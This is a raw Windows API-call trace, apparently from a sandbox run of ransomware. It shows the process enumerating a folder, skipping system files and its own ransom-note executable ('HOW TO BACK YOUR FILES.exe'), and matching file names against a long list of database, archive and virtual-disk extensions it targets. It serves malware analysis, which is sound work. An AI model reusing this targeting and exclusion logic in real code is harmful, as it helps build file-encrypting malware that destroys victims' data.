	[0039.446] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.446] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.446] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9f0d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.446] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.446] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.446] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.446] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.446] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="Apollon865.txt.exe") returned 1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2=".") returned 1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="..") returned 1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="windows") returned -1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="bootmgr") returned 1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="temp") returned -1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="pagefile.sys") returned -1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="boot") returned 1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="ids.txt") returned -1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="ntuser.dat") returned -1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="perflogs") returned -1
	[0039.446] lstrcmpiW (lpString1="Cache", lpString2="MSBuild") returned -1
	[0039.446] lstrlenW (lpString="Cache") returned 5
	[0039.446] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned 63
	[0039.446] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="Cache" | out: lpString1="Cache") returned="Cache"
	[0039.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0039.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b9168
	[0039.446] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0039.446] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9f0d70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.447] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.447] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="Apollon865.txt.exe") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2=".") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="..") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="windows") returned -1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="bootmgr") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="temp") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="pagefile.sys") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="boot") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="ids.txt") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="ntuser.dat") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="perflogs") returned 1
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2="MSBuild") returned 1
	[0039.447] lstrlenW (lpString="tokens.dat") returned 10
	[0039.447] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned 67
	[0039.447] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="tokens.dat" | out: lpString1="tokens.dat") returned="tokens.dat"
	[0039.447] lstrlenW (lpString="tokens.dat") returned 10
	[0039.447] lstrlenW (lpString="Apollon865") returned 10
	[0039.447] lstrlenW (lpString=".dll") returned 4
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2=".dll") returned 1
	[0039.447] lstrlenW (lpString=".lnk") returned 4
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2=".lnk") returned 1
	[0039.447] lstrlenW (lpString=".ini") returned 4
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2=".ini") returned 1
	[0039.447] lstrlenW (lpString=".sys") returned 4
	[0039.447] lstrcmpiW (lpString1="tokens.dat", lpString2=".sys") returned 1
	[0039.447] lstrlenW (lpString="tokens.dat") returned 10
	[0039.447] lstrlenW (lpString="bak") returned 3
	[0039.447] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0039.447] lstrlenW (lpString="ba_") returned 3
	[0039.447] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0039.447] lstrlenW (lpString="dbb") returned 3
	[0039.447] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0039.447] lstrlenW (lpString="vmdk") returned 4
	[0039.448] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0039.448] lstrlenW (lpString="rar") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0039.448] lstrlenW (lpString="zip") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0039.448] lstrlenW (lpString="tgz") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0039.448] lstrlenW (lpString="vbox") returned 4
	[0039.448] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0039.448] lstrlenW (lpString="vdi") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0039.448] lstrlenW (lpString="vhd") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0039.448] lstrlenW (lpString="vhdx") returned 4
	[0039.448] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0039.448] lstrlenW (lpString="avhd") returned 4
	[0039.448] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0039.448] lstrlenW (lpString="db") returned 2
	[0039.448] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0039.448] lstrlenW (lpString="db2") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0039.448] lstrlenW (lpString="db3") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0039.448] lstrlenW (lpString="dbf") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0039.448] lstrlenW (lpString="mdf") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0039.448] lstrlenW (lpString="mdb") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0039.448] lstrlenW (lpString="sql") returned 3
	[0039.448] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0039.448] lstrlenW (lpString="sqlite") returned 6
	[0039.448] lstrcmpiW (lpString1="ns.dat", lpString2="sqlite") returned -1
	[0039.448] lstrlenW (lpString="sqlite3") returned 7
	[0039.448] lstrcmpiW (lpString1="ens.dat", lpString2="sqlite3") returned -1
	[0039.448] lstrlenW (lpString="sqlitedb") returned 8
	[0039.448] lstrcmpiW (lpString1="kens.dat", lpString2="sqlitedb") returned -1
	[0039.449] lstrlenW (lpString="xml") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0039.449] lstrlenW (lpString="$er") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0039.449] lstrlenW (lpString="4dd") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0039.449] lstrlenW (lpString="4dl") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0039.449] lstrlenW (lpString="^^^") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0039.449] lstrlenW (lpString="abs") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0039.449] lstrlenW (lpString="abx") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0039.449] lstrlenW (lpString="accdb") returned 5
	[0039.449] lstrcmpiW (lpString1="s.dat", lpString2="accdb") returned 1
	[0039.449] lstrlenW (lpString="accdc") returned 5
	[0039.449] lstrcmpiW (lpString1="s.dat", lpString2="accdc") returned 1
	[0039.449] lstrlenW (lpString="accde") returned 5
	[0039.449] lstrcmpiW (lpString1="s.dat", lpString2="accde") returned 1
	[0039.449] lstrlenW (lpString="accdr") returned 5
	[0039.449] lstrcmpiW (lpString1="s.dat", lpString2="accdr") returned 1
	[0039.449] lstrlenW (lpString="accdt") returned 5
	[0039.449] lstrcmpiW (lpString1="s.dat", lpString2="accdt") returned 1
	[0039.449] lstrlenW (lpString="accdw") returned 5
	[0039.449] lstrcmpiW (lpString1="s.dat", lpString2="accdw") returned 1
	[0039.449] lstrlenW (lpString="accft") returned 5
	[0039.449] lstrcmpiW (lpString1="s.dat", lpString2="accft") returned 1
	[0039.449] lstrlenW (lpString="adb") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0039.449] lstrlenW (lpString="adb") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0039.449] lstrlenW (lpString="ade") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0039.449] lstrlenW (lpString="adf") returned 3
	[0039.449] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0039.449] lstrlenW (lpString="adn") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0039.450] lstrlenW (lpString="adp") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0039.450] lstrlenW (lpString="alf") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0039.450] lstrlenW (lpString="ask") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0039.450] lstrlenW (lpString="btr") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0039.450] lstrlenW (lpString="cat") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0039.450] lstrlenW (lpString="cdb") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0039.450] lstrlenW (lpString="ckp") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0039.450] lstrlenW (lpString="cma") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0039.450] lstrlenW (lpString="cpd") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0039.450] lstrlenW (lpString="dacpac") returned 6
	[0039.450] lstrcmpiW (lpString1="ns.dat", lpString2="dacpac") returned 1
	[0039.450] lstrlenW (lpString="dad") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0039.450] lstrlenW (lpString="dadiagrams") returned 10
	[0039.450] lstrlenW (lpString="daschema") returned 8
	[0039.450] lstrcmpiW (lpString1="kens.dat", lpString2="daschema") returned 1
	[0039.450] lstrlenW (lpString="db-journal") returned 10
	[0039.450] lstrlenW (lpString="db-shm") returned 6
	[0039.450] lstrcmpiW (lpString1="ns.dat", lpString2="db-shm") returned 1
	[0039.450] lstrlenW (lpString="db-wal") returned 6
	[0039.450] lstrcmpiW (lpString1="ns.dat", lpString2="db-wal") returned 1
	[0039.450] lstrlenW (lpString="dbc") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0039.450] lstrlenW (lpString="dbs") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0039.450] lstrlenW (lpString="dbt") returned 3
	[0039.450] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0039.451] lstrlenW (lpString="dbv") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0039.451] lstrlenW (lpString="dbx") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0039.451] lstrlenW (lpString="dcb") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0039.451] lstrlenW (lpString="dct") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0039.451] lstrlenW (lpString="dcx") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0039.451] lstrlenW (lpString="ddl") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0039.451] lstrlenW (lpString="dlis") returned 4
	[0039.451] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0039.451] lstrlenW (lpString="dp1") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0039.451] lstrlenW (lpString="dqy") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0039.451] lstrlenW (lpString="dsk") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0039.451] lstrlenW (lpString="dsn") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0039.451] lstrlenW (lpString="dtsx") returned 4
	[0039.451] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0039.451] lstrlenW (lpString="dxl") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0039.451] lstrlenW (lpString="eco") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0039.451] lstrlenW (lpString="ecx") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0039.451] lstrlenW (lpString="edb") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0039.451] lstrlenW (lpString="epim") returned 4
	[0039.451] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0039.451] lstrlenW (lpString="fcd") returned 3
	[0039.451] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0039.451] lstrlenW (lpString="fdb") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0039.452] lstrlenW (lpString="fic") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0039.452] lstrlenW (lpString="flexolibrary") returned 12
	[0039.452] lstrlenW (lpString="fm5") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0039.452] lstrlenW (lpString="fmp") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0039.452] lstrlenW (lpString="fmp12") returned 5
	[0039.452] lstrcmpiW (lpString1="s.dat", lpString2="fmp12") returned 1
	[0039.452] lstrlenW (lpString="fmpsl") returned 5
	[0039.452] lstrcmpiW (lpString1="s.dat", lpString2="fmpsl") returned 1
	[0039.452] lstrlenW (lpString="fol") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0039.452] lstrlenW (lpString="fp3") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0039.452] lstrlenW (lpString="fp4") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0039.452] lstrlenW (lpString="fp5") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0039.452] lstrlenW (lpString="fp7") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0039.452] lstrlenW (lpString="fpt") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0039.452] lstrlenW (lpString="frm") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0039.452] lstrlenW (lpString="gdb") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0039.452] lstrlenW (lpString="gdb") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0039.452] lstrlenW (lpString="grdb") returned 4
	[0039.452] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0039.452] lstrlenW (lpString="gwi") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0039.452] lstrlenW (lpString="hdb") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0039.452] lstrlenW (lpString="his") returned 3
	[0039.452] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0039.453] lstrlenW (lpString="ib") returned 2
	[0039.453] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0039.453] lstrlenW (lpString="idb") returned 3
	[0039.453] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0039.453] lstrlenW (lpString="ihx") returned 3
	[0039.453] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0039.453] lstrlenW (lpString="itdb") returned 4
	[0039.453] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0039.453] lstrlenW (lpString="itw") returned 3
	[0039.453] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0039.453] lstrlenW (lpString="jet") returned 3
	[0039.453] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0039.453] lstrlenW (lpString="jtx") returned 3
	[0039.453] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0039.453] lstrlenW (lpString="kdb") returned 3
	[0039.453] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0039.453] lstrlenW (lpString="kexi") returned 4
	[0039.453] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0039.453] lstrlenW (lpString="kexic") returned 5
	[0039.454] lstrcmpiW (lpString1="s.dat", lpString2="kexic") returned 1
	[0039.454] lstrlenW (lpString="kexis") returned 5
	[0039.454] lstrcmpiW (lpString1="s.dat", lpString2="kexis") returned 1
	[0039.454] lstrlenW (lpString="lgc") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0039.454] lstrlenW (lpString="lwx") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0039.454] lstrlenW (lpString="maf") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0039.454] lstrlenW (lpString="maq") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0039.454] lstrlenW (lpString="mar") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0039.454] lstrlenW (lpString="marshal") returned 7
	[0039.454] lstrcmpiW (lpString1="ens.dat", lpString2="marshal") returned -1
	[0039.454] lstrlenW (lpString="mas") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0039.454] lstrlenW (lpString="mav") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0039.454] lstrlenW (lpString="maw") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0039.454] lstrlenW (lpString="mdbhtml") returned 7
	[0039.454] lstrcmpiW (lpString1="ens.dat", lpString2="mdbhtml") returned -1
	[0039.454] lstrlenW (lpString="mdn") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0039.454] lstrlenW (lpString="mdt") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0039.454] lstrlenW (lpString="mfd") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0039.454] lstrlenW (lpString="mpd") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0039.454] lstrlenW (lpString="mrg") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0039.454] lstrlenW (lpString="mud") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0039.454] lstrlenW (lpString="mwb") returned 3
	[0039.454] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0039.455] lstrlenW (lpString="myd") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0039.455] lstrlenW (lpString="ndf") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0039.455] lstrlenW (lpString="nnt") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0039.455] lstrlenW (lpString="nrmlib") returned 6
	[0039.455] lstrcmpiW (lpString1="ns.dat", lpString2="nrmlib") returned 1
	[0039.455] lstrlenW (lpString="ns2") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0039.455] lstrlenW (lpString="ns3") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0039.455] lstrlenW (lpString="ns4") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0039.455] lstrlenW (lpString="nsf") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0039.455] lstrlenW (lpString="nv") returned 2
	[0039.455] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0039.455] lstrlenW (lpString="nv2") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0039.455] lstrlenW (lpString="nwdb") returned 4
	[0039.455] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0039.455] lstrlenW (lpString="nyf") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0039.455] lstrlenW (lpString="odb") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0039.455] lstrlenW (lpString="odb") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0039.455] lstrlenW (lpString="oqy") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0039.455] lstrlenW (lpString="ora") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0039.455] lstrlenW (lpString="orx") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0039.455] lstrlenW (lpString="owc") returned 3
	[0039.455] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0039.455] lstrlenW (lpString="p96") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0039.456] lstrlenW (lpString="p97") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0039.456] lstrlenW (lpString="pan") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0039.456] lstrlenW (lpString="pdb") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0039.456] lstrlenW (lpString="pdm") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0039.456] lstrlenW (lpString="pnz") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0039.456] lstrlenW (lpString="qry") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0039.456] lstrlenW (lpString="qvd") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0039.456] lstrlenW (lpString="rbf") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0039.456] lstrlenW (lpString="rctd") returned 4
	[0039.456] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0039.456] lstrlenW (lpString="rod") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0039.456] lstrlenW (lpString="rodx") returned 4
	[0039.456] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0039.456] lstrlenW (lpString="rpd") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0039.456] lstrlenW (lpString="rsd") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0039.456] lstrlenW (lpString="sas7bdat") returned 8
	[0039.456] lstrcmpiW (lpString1="kens.dat", lpString2="sas7bdat") returned -1
	[0039.456] lstrlenW (lpString="sbf") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0039.456] lstrlenW (lpString="scx") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0039.456] lstrlenW (lpString="sdb") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0039.456] lstrlenW (lpString="sdc") returned 3
	[0039.456] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0039.457] lstrlenW (lpString="sdf") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0039.457] lstrlenW (lpString="sis") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0039.457] lstrlenW (lpString="spq") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0039.457] lstrlenW (lpString="te") returned 2
	[0039.457] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0039.457] lstrlenW (lpString="teacher") returned 7
	[0039.457] lstrcmpiW (lpString1="ens.dat", lpString2="teacher") returned -1
	[0039.457] lstrlenW (lpString="tmd") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0039.457] lstrlenW (lpString="tps") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0039.457] lstrlenW (lpString="trc") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0039.457] lstrlenW (lpString="trc") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0039.457] lstrlenW (lpString="trm") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0039.457] lstrlenW (lpString="udb") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0039.457] lstrlenW (lpString="udl") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0039.457] lstrlenW (lpString="usr") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0039.457] lstrlenW (lpString="v12") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
